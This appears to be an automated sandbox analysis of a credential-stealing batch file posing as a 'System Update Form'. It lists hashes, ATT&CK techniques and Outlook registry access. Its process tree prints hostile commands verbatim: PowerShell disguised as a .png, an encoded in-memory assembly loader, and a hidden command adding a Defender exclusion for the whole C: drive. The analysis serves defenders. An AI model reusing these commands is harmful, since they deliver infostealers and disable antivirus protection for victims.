f9d4d72bd272a4c2d5a84f7ce2dbe3cf5d041de49a87560252ea1cd40ee5edab

Analysis

max time kernel
7s
max time network
7s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
31/08/2023, 12:45

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General

Target
System Update Form.bat
Size 942KB
Sample230831-py3daseg4s
SHA256 f9d4d72bd272a4c2d5a84f7ce2dbe3cf5d041de49a87560252ea1cd40ee5edab
MD5 4952568d9c4001507f1dddb00ecab840
SHA1 dc8a47073962efe91fb965db992c84d401da391b
SHA512 a5b2006e97e693ff47fda30859003a6565f039f83ebf4c1e9485221e14bb0cad1b3f668f6961b95e811bf0fc482b047ad021a5536d856304a6cf99478c5f566f
SSDEEP 24576:i7jIEkrDvmeLFsPXmK9IwHl1oCGG5SXCzi3Ij+kz:i7qU2KdHdt9
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

collection spyware stealer

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2196	Gxypmmj.png

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Gxypmmj.png
Key opened	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Gxypmmj.png
Key opened	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Gxypmmj.png

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2196	Gxypmmj.png
2196	Gxypmmj.png
2196	Gxypmmj.png
2196	Gxypmmj.png

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	Gxypmmj.png
Token: SeDebugPrivilege	2196	Gxypmmj.png

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5068 wrote to memory of 4784	5068	cmd.exe	83
PID 5068 wrote to memory of 4784	5068	cmd.exe	83
PID 4784 wrote to memory of 5028	4784	cmd.exe	85
PID 4784 wrote to memory of 5028	4784	cmd.exe	85
PID 4784 wrote to memory of 3380	4784	cmd.exe	86
PID 4784 wrote to memory of 3380	4784	cmd.exe	86
PID 4784 wrote to memory of 2164	4784	cmd.exe	87
PID 4784 wrote to memory of 2164	4784	cmd.exe	87
PID 4784 wrote to memory of 1816	4784	cmd.exe	88
PID 4784 wrote to memory of 1816	4784	cmd.exe	88
PID 4784 wrote to memory of 2196	4784	cmd.exe	89
PID 4784 wrote to memory of 2196	4784	cmd.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Gxypmmj.png

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Gxypmmj.png

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\System Update Form.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\System Update Form.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:5028
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Gxypmmj.png
    3⤵
    PID:3380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2164
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\System Update Form.bat" C:\Users\Admin\AppData\Local\Temp\Gxypmmj.png.bat
    3⤵
    PID:1816
- - C:\Users\Admin\AppData\Local\Temp\Gxypmmj.png
    C:\Users\Admin\AppData\Local\Temp\Gxypmmj.png -win 1 -enc JABFAGsAZgBjAHIAeQBjAGwAcgAgAD0AIABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABMAGkAbgBlAHMAKAAoACgAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAIgAuAGIAYQB0ACIAKQAsACAAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAKQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBsAGEAcwB0ACAAMQA7ACAAJABOAHMAagBwAGwAaABiAHgAYgB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEUAawBmAGMAcgB5AGMAbAByACkAOwAkAE0AYgBoAHIAZAB3AHMAdABrACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABOAHMAagBwAGwAaABiAHgAYgB5ACAAKQA7ACQAbwB1AHQAcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFYAdgB2AGQAaABvAGMAYgB0AHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQATQBiAGgAcgBkAHcAcwB0AGsALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFYAdgB2AGQAaABvAGMAYgB0AHIALgBDAG8AcAB5AFQAbwAoACAAJABvAHUAdABwAHUAdAAgACkAOwAkAFYAdgB2AGQAaABvAGMAYgB0AHIALgBDAGwAbwBzAGUAKAApADsAJABNAGIAaAByAGQAdwBzAHQAawAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAE4AcwBqAHAAbABoAGIAeABiAHkAIAA9ACAAJABvAHUAdABwAHUAdAAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQATgBzAGoAcABsAGgAYgB4AGIAeQApADsAIAAkAEwAZQB5AG8AYQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABOAHMAagBwAGwAaABiAHgAYgB5ACkAOwAgACQAUgBhAG8AcAB4AGUAIAA9ACAAJABMAGUAeQBvAGEALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABQAGUAbAB4AGsAeAB3AHEAcwB2AG4AIAA9ACAAJABSAGEAbwBwAHgAZQAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAA==
1⤵
PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

Gxypmmj.png

Path C:\Users\Admin\AppData\Local\Temp\Gxypmmj.png
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Gxypmmj.png.bat

Path C:\Users\Admin\AppData\Local\Temp\Gxypmmj.png.bat
Size 942KB
SHA256 f9d4d72bd272a4c2d5a84f7ce2dbe3cf5d041de49a87560252ea1cd40ee5edab
MD5 4952568d9c4001507f1dddb00ecab840
SHA1 dc8a47073962efe91fb965db992c84d401da391b
SHA512 a5b2006e97e693ff47fda30859003a6565f039f83ebf4c1e9485221e14bb0cad1b3f668f6961b95e811bf0fc482b047ad021a5536d856304a6cf99478c5f566f
SSDEEP 24576:i7jIEkrDvmeLFsPXmK9IwHl1oCGG5SXCzi3Ij+kz:i7qU2KdHdt9
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_bpcpuiaj.mdu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpcpuiaj.mdu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2196-21-0x0000027350610000-0x0000027350620000-memory.dmp

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memory/2196-18-0x00007FF9C8C80000-0x00007FF9C9741000-memory.dmp

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memory/2196-20-0x0000027350610000-0x0000027350620000-memory.dmp

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memory/2196-8-0x00000273691A0000-0x00000273691C2000-memory.dmp

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memory/2196-22-0x0000027350610000-0x0000027350620000-memory.dmp

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memory/2196-24-0x00000273697E0000-0x0000027369825000-memory.dmp

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memory/2196-25-0x0000027350610000-0x0000027350620000-memory.dmp

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memory/2196-26-0x0000027350610000-0x0000027350620000-memory.dmp

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memory/2196-27-0x0000027369930000-0x0000027369980000-memory.dmp

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memory/2196-28-0x00007FF9C8C80000-0x00007FF9C9741000-memory.dmp

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